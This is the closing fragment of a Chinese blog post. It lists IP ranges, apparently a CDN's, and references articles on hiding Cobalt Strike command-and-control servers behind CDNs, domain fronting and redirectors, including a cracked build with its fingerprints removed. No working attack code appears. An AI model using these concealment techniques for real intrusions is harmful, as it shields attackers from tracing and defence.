141.101.64.0/18
162.158.0.0/15
172.64.0.0/13
173.245.48.0/20
188.114.96.0/20
190.93.240.0/20
197.234.240.0/22
198.41.128.0/17

參考如下:


對基礎(chǔ) shell 進(jìn)行流量混淆
APT級CS隱藏教程:使用反向代理、C2-Profile和CDN拉滿溯源難度
Using Cloudflare Workers as Redirectors - ajpc500
CobaltStrike4.4漢化破解及特征去除
域前置配合Nginx反代隱匿Cobalt Strike
【技術(shù)分享】保姆級Cobalt Strike主機隱藏教程
紅隊 | 流量加密:使用OpenSSL進(jìn)行遠(yuǎn)控流量加密
Cobalt Strike CDN隱藏
CrossC2通信協(xié)議API的實踐
紅隊作業(yè) | MSF和CS實戰(zhàn)技巧匯總 - 騰訊云開發(fā)者社區(qū)-騰訊云

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,797評論 6 531
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 98,179評論 3 414
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,628評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經(jīng)常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,642評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 71,444評論 6 405
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 54,948評論 1 321
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,040評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 42,185評論 0 287
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 48,717評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 40,602評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,794評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,316評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 44,045評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,418評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,671評論 1 281
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,414評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 47,750評論 2 370

推薦閱讀更多精彩內(nèi)容